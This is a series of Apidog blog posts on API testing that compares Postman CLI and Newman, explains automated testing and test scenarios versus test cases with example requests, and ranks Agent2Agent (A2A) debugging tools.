With Apidog, you can design APIs, debug requests, create automated test scenarios, and run those scenarios in CI/CD from one product. The goal is to avoid the export-and-runner split where API definitions live in one place and execution logic lives somewhere else.

A typical workflow is:

Design or import your API.
Debug requests during development.
Add assertions visually.
Build test scenarios.
Run those scenarios locally or in CI/CD.
Use the same API assets across design, testing, mocking, and automation.

Apidog also includes API design, mock servers, and performance testing features, so teams can cover more of the API lifecycle without stitching together separate tools.

You can download Apidog and use its testing features for free, including the CLI runner for pipelines.

Frequently asked questions

Is Postman CLI replacing Newman?

Postman recommends Postman CLI as its official command-line tool, but Newman is still maintained and widely used. Newman remains useful when you want an account-free runner with collection files versioned in your repository.

Does Postman CLI require a Postman account?

Yes. Postman CLI authenticates with a Postman API key and is designed to connect runs back to a Postman workspace. Newman does not require a Postman account.

Can Newman run without internet access?

Yes, as long as the collection and environment files are local and the API under test is reachable from the execution environment. Newman does not need to connect to Postman’s cloud.

Which tool gives better reports?

Newman is more flexible for standalone report files. It supports CLI and JUnit output, plus community reporters such as newman-reporter-htmlextra for HTML reports.

Postman CLI reports results into the Postman platform, which is useful if your team already works there but less flexible if you need independent report artifacts.

Can Postman CLI run a local collection file?

Yes, Postman CLI can run local collection files. However, it is primarily designed around Postman cloud workflows, where collections are pulled from a workspace and results are synced back to Postman.

If you want local files to be the source of truth with no cloud dependency, Newman fits that model better.

Which is faster in CI?

For pure collection execution, the difference is usually not the main deciding factor. Newman has a smaller footprint and avoids Postman cloud authentication and result syncing. Postman CLI may add overhead because it authenticates and connects results back to the platform.

Choose based on workflow fit first, then optimize runtime if needed.

What is the simplest default choice?

If you only need to run Postman collections in CI/CD, start with Newman. It is simple, open source, and easy to version with your code.

Choose Postman CLI when you specifically need Postman platform integration, centralized run history, or API governance checks.

What Is Automated Testing? A Step-by-Step Guide

Hassann — Fri, 22 May 2026 07:20:37 +0000

Manual testing works until your API surface grows beyond what a person can reliably click through before every release. Automated testing solves that scaling problem by letting machines run repetitive checks consistently on every change, schedule, or release candidate.

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This guide explains what automated testing is, where it helps, where it does not, and how to set up automated API tests step by step in Apidog.

What automated testing is

Automated testing means using software to run test steps and validate results instead of having a person perform each check manually.

A typical automated test defines:

Input: request data, parameters, headers, or test fixtures
Action: the operation to execute
Expected result: status code, response body, schema, side effect, or timing requirement

Once defined, the test can run:

On demand
On a schedule
On every commit
In a CI/CD pipeline
Before a release

The biggest benefit is not only speed. It is repeatability. A human tester may run the same check slightly differently over time. An automated test runs the fiftieth execution the same way it ran the first.

Automated testing applies across the stack:

Unit tests for functions and classes
Integration tests for connected components
API tests for endpoints and contracts
End-to-end tests for full user workflows

API testing is often the best place to start because APIs are usually faster, more stable, and less flaky than UI-driven tests.

Why teams automate testing

Manual testing does not scale

Every new endpoint adds more checks. Every environment multiplies them. At some point, full manual regression testing before every release becomes impractical.

Automation lets you re-run the same checks repeatedly without increasing manual effort.

Regressions are easier to catch

A change in one service can break a contract used by another service. Automated test suites can run across the system on every change and catch these regressions before they reach production.

Tests become reusable assets

A manual test is consumed when it is performed. An automated test can be run thousands of times after it is written.

The cost is front-loaded, but the value compounds over time.

Feedback is faster

When tests run in CI/CD, developers get feedback while the change is still fresh.

Instead of finding a bug after deployment, the team can catch it during a pull request or build.

Testers can focus on higher-value work

Automation does not replace testers. It removes repetitive checks so testers can spend more time on:

Exploratory testing
Edge cases
Usability review
Risk analysis
Workflow validation

What automated testing does not solve

Automation is useful, but it is not free.

Automated tests require effort to create and maintain. When the API changes, the tests must change too. A stale suite that fails for the wrong reasons is worse than no suite because the team eventually ignores red builds.

Automation also cannot decide whether software is good. It can only verify that the system matches the expectations you encoded. It will not detect that a workflow is confusing or that a technically valid response is not useful for clients.

Not every test should be automated. Use automation for checks that are:

Stable
Repetitive
High-value
Run frequently
Important for release confidence

Keep rare, exploratory, or judgment-heavy checks manual.

How to set up automated API testing in Apidog

Apidog lets you build automated API tests visually without maintaining custom test scripts for every scenario.

Here is a practical setup flow.

Step 1: Define or import your API

Start by adding your API definitions to Apidog.

You can:

Import an OpenAPI file
Import a Postman collection
Define endpoints directly in Apidog

Each endpoint includes request and response details that can become the basis for assertions.

If you start from an API spec, your contract and tests are easier to keep aligned as the API evolves.

Step 2: Add assertions to each request

A request without assertions only proves that the server responded. Assertions define what “correct” means.

For each endpoint, add checks such as:

Status code equals 200
Response body field exists
Field type matches the expected type
Response matches the schema
Response time stays under a defined threshold

Example assertion targets:

status == 200
body.data.id exists
body.data.email is string
response time < 500ms

Apidog supports visual API assertions, so you can add these checks without writing test code.

Step 3: Create a test scenario

Group related API calls into a scenario.

For example, a user lifecycle scenario might include:

Create user
Log in
Get profile
Update profile
Delete user

Chain requests so output from one step feeds the next step. For example:

login response token -> Authorization header in next request
created user ID -> profile lookup request

Each request plus its assertions becomes a test case. For more structure, see how to write API test cases.

Step 4: Add data-driven coverage

Use a CSV or JSON file to run the same scenario against multiple datasets.

Instead of creating many near-identical test cases, create one scenario and feed it different inputs.

Example CSV:

email,password,expectedStatus
valid-user@example.com,correct-password,200
invalid-user@example.com,wrong-password,401
blocked-user@example.com,password,403

This is useful for testing:

Valid inputs
Invalid inputs
Boundary values
Role-based access
Different environments or tenants

See data-driven API testing for more on this approach.

Step 5: Run the scenario

Run the scenario on demand to verify it works.

You can also set an iteration count, such as 50 runs, to check consistency under repetition.

Apidog executes each request, evaluates each assertion, and produces a report showing:

Which test failed
Which assertion failed
Expected value
Actual value

That detail matters because useful automation should make failures easy to debug.

Step 6: Organize scenarios into test suites

As coverage grows, group related scenarios into test suites.

For example:

Authentication suite
User management suite
Billing suite
Admin API suite
Regression suite

Suites make it easier to run a full API regression check in one action.

Step 7: Run tests in CI/CD

This is where test automation becomes part of the development workflow.

Run the suite on:

Every pull request
Every merge to main
Every deployment candidate
A nightly schedule

The goal is to catch regressions before code is merged or released.

Apidog can run in CI/CD pipelines. See automating API tests in CI/CD and running API tests in GitHub Actions for implementation details.

Download Apidog to build your first automated scenario and run it.

The main types of automated tests

Automated testing is a layered strategy. Each layer catches different problems at a different cost.

Unit tests

Unit tests check a single function, class, or module in isolation.

They are:

Fast
Cheap to run
Easy to execute in large numbers

But they do not catch many problems that only appear when components interact.

Integration tests

Integration tests verify that multiple components work together.

Examples:

A service and database
Two services communicating over HTTP
A queue consumer processing messages
Authentication middleware connected to an identity provider

They catch wiring and contract issues that unit tests miss, but they require more setup.

API tests

API tests exercise endpoints over HTTP, similar to how real clients interact with the system.

They validate:

Status codes
Response schemas
Business logic
Authentication behavior
Error handling
Contract compatibility

For many teams, API tests provide the best return on effort because they cover meaningful behavior without the fragility of browser-based testing.

End-to-end tests

End-to-end tests validate a complete workflow through the real system, often including the UI.

They are useful for critical journeys such as:

Sign up
Checkout
Account recovery
Payment flow
Admin approval workflow

They are also slower and more prone to flakiness, so keep them focused.

Making automation pay off

A test suite is only valuable if the team trusts it. These habits help keep automated tests useful.

Keep tests close to the API design

When contracts and tests live near each other, changes are harder to miss.

If an endpoint changes, update:

The API definition
The request example
The response schema
The related assertions
Any scenarios that depend on it

Drift is one of the main reasons automated suites decay.

Assert real outcomes

Do not stop at status codes.

A test that only checks 200 OK can pass while the response body is wrong.

Prefer assertions such as:

status == 200
body.user.id exists
body.user.email is string
body.user.role in ["admin", "member"]
body.createdAt matches timestamp format
response schema is valid

Strong assertions turn automation into real protection.

Make failures readable

A useful failure report should answer:

What failed?
Which assertion failed?
What was expected?
What was returned?
Which request caused the issue?

If developers can diagnose failures quickly, they are more likely to trust and maintain the suite.

Run tests where decisions happen

A suite that only runs when someone remembers is not automation.

Put it in the pipeline so it runs automatically before merge or release.

Use AI for repetitive test creation

AI can help generate first drafts of test cases, expand edge cases, or suggest missing assertions from an API spec.

Human review is still required, especially for business rules and expected behavior. See AI-enhanced API automation testing for where this can help.

Frequently asked questions

Is automated testing better than manual testing?

No. They solve different problems.

Automate stable, repetitive, high-value checks. Keep exploratory testing, usability review, and judgment-heavy validation manual.

The best teams use both.

Do I need to know how to code to automate API tests?

Not necessarily.

In Apidog, you can build requests, assertions, and scenarios visually. You only need scripts when the logic cannot be expressed through the visual builder.

Where should a team start with automation?

Start with API tests.

They are fast, stable, and close to core business logic. Begin with critical endpoints, then expand coverage across common workflows and regression-prone areas.

How much maintenance do automated tests need?

Automated tests need maintenance whenever the API changes.

To reduce maintenance cost:

Keep tests close to the API contract
Remove obsolete tests
Update assertions with schema changes
Avoid brittle checks on volatile data
Review failures instead of ignoring them

What makes an automated test flaky, and how do I fix it?

Common causes of flakiness include:

Timing assumptions
Shared state between tests
Dependency on test execution order
Assertions on volatile values like timestamps
External services with unstable responses

Fixes include:

Isolating test data
Resetting state between runs
Avoiding implicit ordering
Asserting on structure instead of exact volatile values
Mocking or controlling unstable dependencies where appropriate

Treat flakiness as a real bug. A flaky suite trains the team to ignore failures.

How do I measure whether automated testing is working?

Track useful outcomes, not only test count.

Useful metrics include:

Bugs caught before release
Bugs escaping to production
Time to feedback in CI/CD
Suite runtime
Failure rate
Flaky test rate
Coverage of critical workflows

A suite with thousands of weak tests may still miss important bugs. Meaningful assertions and reliable execution matter more than raw test volume.

Test Scenario vs Test Case: Key Differences Explained

Hassann — Fri, 22 May 2026 07:20:36 +0000

“Test scenario” and “test case” are often used interchangeably, but they solve different problems. A test scenario defines what to test. A test case defines how to test it. If you separate them correctly, your test plan becomes easier to review, execute, automate, and audit.

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This guide explains the difference, shows how scenarios and cases fit together, and walks through a practical API testing workflow using Apidog.

What is a test scenario?

A test scenario is a high-level statement that describes a behavior, condition, or user flow worth testing.

It does not include exact steps, payloads, endpoint names, or expected response values.

For an e-commerce checkout flow, test scenarios might be:

Verify checkout for a registered user with a saved card
Verify checkout for a guest user
Verify checkout when an item goes out of stock mid-purchase
Verify checkout when payment is declined

Each scenario tells the team what behavior needs coverage. It stays readable for product managers, QA engineers, developers, and stakeholders.

A useful test scenario should answer:

Have we identified the important behaviors this feature must support?

If a scenario is missing, detailed test cases will not fix that coverage gap.

What is a test case?

A test case is a specific, executable check under a scenario.

It defines:

Preconditions
Exact input
Action to perform
Expected result
Pass/fail criteria

For the scenario “verify checkout for a guest user”, test cases might include:

POST /orders with a valid guest payload returns 201 and an order_id
POST /orders without a shipping address returns 400 and a validation_error
POST /orders with an out-of-stock SKU returns 409 and error: out_of_stock

A test case is precise enough for a human tester or automation tool to run consistently.

For a deeper template, see how to write API test cases. If you need to separate test design from executable automation code, read test case vs test script.

The key distinction:

“Checkout works” is too vague. It is closer to a scenario fragment.
“POST a valid guest order, expect 201 with a non-empty order_id” is a test case.

Test scenario vs test case

Dimension	Test scenario	Test case
Level	High-level	Low-level
Purpose	Defines what to test	Defines how to test
Detail	Brief, usually one line	Step-by-step with data
Focus	Business or functional goal	Technical execution
Inputs	Not specified	Exact payloads, parameters, headers
Expected result	Implied	Explicit status, body, timing, schema
Audience	Product, QA, engineering	QA, developers, automation tools
Count	Few per feature	Many per scenario
Created	During test planning	After scenarios are agreed

The relationship is hierarchical:

Feature
└── Test scenario
    ├── Test case
    ├── Test case
    └── Test case

One scenario usually produces multiple test cases.

The scenario controls coverage breadth. The test cases control execution depth.

A common mistake is writing dozens of test cases without a scenario map. That creates a large test inventory, but it becomes hard to answer questions like:

Did we cover all major user flows?
Which feature behavior is currently at risk?
Are we over-testing one path and missing another?

A scenario can be marked covered or not covered.

A test case can be marked passed or failed.

You need both views to manage quality.

How to go from scenarios to test cases

Use this workflow when planning API tests.

1. Extract scenarios from requirements

Start with the product spec, API documentation, user stories, or acceptance criteria.

List every behavior worth validating, including:

Happy paths
Validation failures
Permission failures
State conflicts
Rate limits or size limits
Timeout or dependency failures, where relevant

Example scenario list for checkout:

Scenario: Guest user can place an order
Scenario: Registered user can place an order with a saved card
Scenario: Checkout fails when payment is declined
Scenario: Checkout fails when cart contains out-of-stock items

2. Define the objective of each scenario

For each scenario, write what “done” means.

Example:

Scenario: Guest user can place an order

Objective:
A guest user can submit a valid cart, shipping address, and payment method.
The API creates an order and returns a confirmation.
Invalid guest orders are rejected with clear validation errors.

This keeps the scenario understandable before you add implementation details.

3. Write test cases under each scenario

Expand each scenario into executable checks.

For each test case, define:

Test case name:
Preconditions:
Request:
Expected status:
Expected response:
Assertions:

Example:

Test case:
Create guest order with valid payload

Preconditions:
- Cart contains at least one in-stock SKU
- Guest checkout is enabled

Request:
POST /orders
Content-Type: application/json

{
  "customer": {
    "type": "guest",
    "email": "guest@example.com"
  },
  "shipping_address": {
    "line1": "123 Main St",
    "city": "Austin",
    "country": "US",
    "postal_code": "78701"
  },
  "items": [
    {
      "sku": "sku_123",
      "quantity": 1
    }
  ],
  "payment_method": "card_token_abc"
}

Expected status:
201

Assertions:
- response.order_id is not empty
- response.status equals "confirmed"
- response.items[0].sku equals "sku_123"

4. Review coverage

Walk back from cases to scenarios.

Ask:

Does every scenario have at least one happy-path case?
Does every scenario have relevant negative cases?
Does every documented status code appear in at least one expected result?
Are important boundary values covered?
Are permission and authentication failures covered?

This review catches gaps before execution.

5. Execute and report at both levels

Run the test cases and record pass/fail results.

Then roll those results up to the scenario level.

Example:

Scenario: Guest user can place an order
Status: At risk

Cases:
✅ Valid guest order returns 201
✅ Missing shipping address returns 400
❌ Out-of-stock SKU returns 409
✅ Invalid payment token returns 402

This gives engineers the failing case and gives stakeholders a scenario-level view of risk.

For behavior-driven teams, scenarios also map well to Gherkin’s Given-When-Then format. See the Gherkin guide for BDD API testing for a practical structure.

Worked example: notes API

Assume you are testing a notes API.

The feature behavior is:

Scenario: A user can create a note

That scenario belongs in the test plan. It should stay readable and should not include endpoint details.

Now expand it into runnable test cases.

Case 1: Create note successfully

POST /notes
Authorization: Bearer valid_token
Content-Type: application/json

{
  "title": "Groceries",
  "body": "milk, eggs"
}

Expected result:

Status: 201

Assertions:
- response.id is not empty
- response.title equals "Groceries"
- response.created_at exists
- response time is under 600 ms

Case 2: Missing required title

POST /notes
Authorization: Bearer valid_token
Content-Type: application/json

{
  "body": "milk, eggs"
}

Expected result:

Status: 400

Assertions:
- response.error equals "validation_error"
- response.details contains "title"

Case 3: Unauthenticated request

POST /notes
Content-Type: application/json

{
  "title": "Groceries",
  "body": "milk, eggs"
}

Expected result:

Status: 401

Assertions:
- response.id does not exist

Case 4: Oversized payload

POST /notes
Authorization: Bearer valid_token
Content-Type: application/json

{
  "title": "Large note",
  "body": "<2 MB string>"
}

Expected result:

Status: 413

Assertions:
- response contains a clear error message

One scenario produced four cases.

The scenario says what behavior matters.

The cases define exactly how to verify it.

If you later add file attachments, that becomes a new scenario:

Scenario: A user can attach a file to a note

That scenario then gets its own test cases.

Building scenarios and cases in Apidog

Apidog supports this scenario-to-case structure directly.

A test scenario in Apidog is an ordered flow of API requests with assertions.

For example:

1. Log in
2. Extract access token
3. Create note
4. Assert response status and body
5. Fetch note
6. Assert created note is returned

Each request plus its assertions functions as a concrete test case.

In Apidog, you can:

Add API requests visually
Chain requests together
Reuse values from earlier responses, such as tokens or IDs
Assert status codes
Assert response fields
Validate schema conformance
Check response time
Run data-driven tests from CSV or JSON input

For example, one negative test case can run against multiple invalid rows:

[
  {
    "title": "",
    "expected_status": 400
  },
  {
    "title": null,
    "expected_status": 400
  },
  {
    "title": "A very long invalid title...",
    "expected_status": 400
  }
]

You can then group scenarios into test suites for repeatable execution across an API.

A suite can run:

Locally
On a schedule
In CI

The report shows results at both levels:

Case-level failures for debugging
Scenario-level status for coverage and release decisions

Download Apidog to build your first scenario and review the case-to-scenario result rollup.

Why you need both layers

Do not skip scenarios.

If you only write test cases, you get a flat checklist. It may be large, but it will not clearly show whether each feature behavior is covered.

Do not skip test cases either.

If you only write scenarios, your test plan stays too vague to execute consistently. “Verify checkout” can mean different things to different testers.

Use both:

Scenarios = coverage map
Test cases = executable checks

They also serve different readers:

Product managers review scenarios to confirm intent
QA engineers use scenarios to organize coverage
Developers and automation engineers use test cases to implement execution
Leads use scenario-level reporting to assess release risk

A useful rule:

Keep scenarios stable.
Keep test cases current.

Scenarios change when the feature intent changes.

Test cases change when the API contract, validation logic, status codes, payloads, or assertions change.

That separation keeps the test plan maintainable.

Frequently asked questions

Is a test scenario the same as a test suite?

No.

A scenario describes a behavior to test. A suite is a collection of executable tests grouped for a run.

A suite can contain cases from many scenarios.

See test suite vs test case.

How many test cases should one scenario have?

Enough to cover the happy path and the failure modes implied by the scenario.

A simple scenario may need three or four cases. A complex workflow may need more.

Who writes scenarios versus test cases?

Scenarios are often drafted by product and QA together because they describe intent.

Test cases are usually written by QA engineers or developers because they require technical detail.

The test case specification format helps keep case writing consistent.

Do I need scenarios if my tests are automated?

Yes.

Automation executes test cases. Scenarios explain whether the right cases exist.

Without scenarios, automation can only tell you what passed or failed. It cannot tell you whether the feature is fully covered.

Top Agent2Agent (A2A) Debuggers in 2026

Hassann — Fri, 22 May 2026 07:18:56 +0000

Agent2Agent (A2A) is moving from spec to production quickly. As soon as you run more than one agent, you need a way to inspect Agent Cards, outgoing messages, headers, files, metadata, streaming events, and raw JSON-RPC payloads. This guide compares the A2A debugging tools available today and shows when to use each one.

Try Apidog today

If A2A is new to you, start with what Agent2Agent (A2A) is and what an A2A debugger is. They cover the Agent Card, task lifecycle, and why agent-to-agent traffic is harder to debug than a normal REST call.

How to evaluate an A2A debugger

Use this checklist before choosing a tool:

Agent Card discovery: Can it fetch and validate the Agent Card URL?
Capability visibility: Does it show the agent name, description, protocol version, capabilities, and skills?
Message testing: Can you send text, files, and metadata without manually writing JSON-RPC?
Response inspection: Can you view both a readable response and the raw payload?
Auth support: Can you configure Bearer Token, Basic Auth, API keys, and custom headers?
Streaming: Can it handle server-sent events when the agent supports streaming?
History: Can you keep a record of messages in a debugging session?
Local execution: Does traffic go directly from your machine to the agent?

1. Apidog A2A Debugger

Apidog includes a dedicated A2A Debugger in its standard client. For most teams, this is the most practical starting point because it provides a visual workflow without requiring custom scripts.

A typical debugging loop looks like this:

Open the A2A Debugger.
Paste the agent’s Agent Card URL.
Click Connect.
Review the validated card: name, description, capabilities, skills, and protocol version.
Open the Messages tab.
Send a plain-text test message.
Attach files if the Agent Card declares supported input types.
Add metadata as key-value pairs when needed.
Inspect the response in:
- Preview for a readable tree
- Content for the human-readable message body
- Raw Data for the full JSON-RPC payload

Authentication is configured in the UI. Apidog supports:

No auth
Bearer Token
Basic Auth
API key through a custom header
Additional custom headers for gateways, tenants, or routing

It also keeps session history, supports server-sent-event streaming when the agent supports it, and runs as a local client, so your traffic goes directly between your machine and the target agent.

Strengths: broad A2A feature coverage, no scripting required, three response views, file and metadata testing, auth handling, streaming support, and the same workspace you can use for REST, GraphQL, and MCP.

Trade-off: it is part of the full Apidog client rather than a tiny single-purpose CLI.

Best for: teams building or consuming A2A agents who want a visual, no-code debugging workflow.

Start with the Apidog A2A Debugger guide, then download Apidog to follow the workflow.

2. A2A Inspector

The A2A project maintains an open-source A2A Inspector. It is a web-based tool for connecting to an agent, viewing its Agent Card, and sending messages. It is published alongside the spec at the A2A GitHub organization.

Because it comes from the project that owns the protocol, it is useful as a reference for what a compliant Agent Card and message exchange should look like.

Use it when you want to:

Run a spec-aligned tool locally.
Validate an Agent Card.
Send a basic message.
Compare your agent behavior against the protocol reference.

Strengths: spec-accurate, open source, free, and useful for conformance checks.

Trade-off: it is usually a self-run developer tool. Its UX, auth handling, and file attachment flow are less complete than a dedicated product.

Best for: developers who want a protocol reference and are comfortable running tools locally.

3. A2A CLI and SDK tooling

The official A2A SDKs, including Python and JavaScript/TypeScript tooling, include command-line helpers and sample clients. These can fetch an Agent Card, send a message, and print the response.

This approach is best when you need something scriptable.

A CLI-based flow usually looks like this:

# Pseudocode example: exact commands depend on the SDK you use
a2a card fetch https://agent.example.com/.well-known/agent-card.json

a2a message send \
  --agent https://agent.example.com \
  --text "Ping from CI"

Use SDK or CLI tooling for:

CI smoke tests
Automated conformance checks
Regression tests
Repeatable pass/fail validation

Strengths: scriptable, automatable, and convenient if your project already depends on the SDK.

Trade-off: you usually inspect raw JSON in the terminal. There are no rich response views, visual history, or exploratory debugging features.

Best for: CI pipelines and automated checks, not interactive debugging.

4. A2A sample agents and demo UI

The A2A project publishes sample agents and a multi-agent demo UI in its samples repository, reachable from the A2A protocol site. The demo UI shows multiple agents coordinating and lets you inspect the messages between them.

Use the demo UI to understand a healthy A2A exchange before debugging your own implementation.

A useful learning flow is:

Run the demo UI.
Observe how agents discover each other.
Inspect the message sequence.
Compare that known-good flow with your own agent.
Move to a debugger when testing your own Agent Card and messages.

Strengths: good for learning, shows real multi-agent flows, free and open source.

Trade-off: it is a demo, not a general-purpose debugging product. You do not use it to drive arbitrary agents the same way you would with Apidog or the Inspector.

Best for: learning the protocol and getting a known-good reference exchange.

5. General API clients: curl and custom scripts

You can debug A2A with raw HTTP because an A2A request is JSON-RPC over HTTP. For a one-off check, curl or a small script can work.

For example:

curl -X POST "https://agent.example.com/a2a" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "jsonrpc": "2.0",
    "id": "debug-1",
    "method": "message/send",
    "params": {
      "message": {
        "role": "user",
        "parts": [
          {
            "kind": "text",
            "text": "Hello from curl"
          }
        ]
      }
    }
  }'

This is useful for confirming that an endpoint responds, but it becomes painful quickly. You have to manually maintain the JSON-RPC envelope, headers, auth, files, metadata, and response parsing.

Strengths: already available and fine for a single sanity check.

Trade-off: no Agent Card validation, no visual response rendering, no session history, no guided file handling, and no streaming support.

Best for: one-time checks only.

Quick comparison

Tool	Type	Visual response views	Auth in UI	Streaming	Best for
Apidog A2A Debugger	Visual client	Three views	Yes	Yes	Day-to-day A2A debugging
A2A Inspector	Web tool (self-run)	Basic	Limited	Partial	Spec reference
A2A CLI / SDK	Command line	None (raw JSON)	Via flags	Limited	CI and automation
A2A demo UI	Sample app	Built-in	N/A	Yes	Learning the protocol
curl / scripts	Raw HTTP	None	Manual	No	One-off checks

Which one should you use?

For interactive debugging, start with the Apidog A2A Debugger. It validates Agent Cards, sends messages with files and metadata, renders responses in three ways, and handles auth without custom scripts. It also sits next to REST, GraphQL, and MCP tooling, which helps when your agent system uses more than one protocol. The MCP server vs A2A guide explains why this matters as agent systems grow.

For automated conformance in CI, pair a visual debugger with the A2A SDK CLI. Use the visual debugger to reproduce and isolate bugs, then convert the fixed behavior into a scripted check. The same wire-level testing discipline from how to test AI agents that call your APIs applies here.

For learning the protocol, run the A2A demo UI first. It gives you a known-good multi-agent exchange before you debug your own agents.

Once your agents need credentials, review the secure AI agent API credentials guide so you know what to rotate, scope, and avoid exposing.

The practical setup for most teams is:

Use Apidog A2A Debugger for day-to-day investigation.
Use A2A Inspector as a protocol reference.
Use SDK CLI tooling in CI.
Use curl only for quick sanity checks.

Common questions

What is the best A2A debugger right now?

For interactive debugging, the Apidog A2A Debugger is the most complete option: Agent Card validation, message testing with files and metadata, three response views, auth configuration, and streaming support without scripting.

Are there free A2A debuggers?

Yes. The Apidog A2A Debugger ships free with the standard client, and the official A2A Inspector, SDK CLI, and demo UI are open source and free.

Can I debug A2A agents with Postman?

Postman has no native A2A support. You can send the raw JSON-RPC HTTP request manually, but you lose Agent Card validation, response rendering, and streaming support. A dedicated A2A debugger handles the protocol layer for you.

Do A2A debuggers work with any agent framework?

Yes, as long as the agent publishes a valid A2A Agent Card. A2A is framework-agnostic, so LangGraph, CrewAI, AutoGen, and custom agents can work with A2A tooling. See what Agent2Agent (A2A) is for the protocol basics.

Should I use a CLI or a visual A2A debugger?

Use both. A visual debugger like Apidog is faster for reproducing, inspecting, and isolating issues. A CLI is better for automated conformance checks in CI. A common workflow is to debug visually first, then script the fixed behavior.

How do I get started debugging an A2A agent?

Download Apidog, open the A2A Debugger, paste your agent’s Agent Card URL, click Connect, and send a plain-text test message. The Apidog A2A Debugger guide walks through the full loop.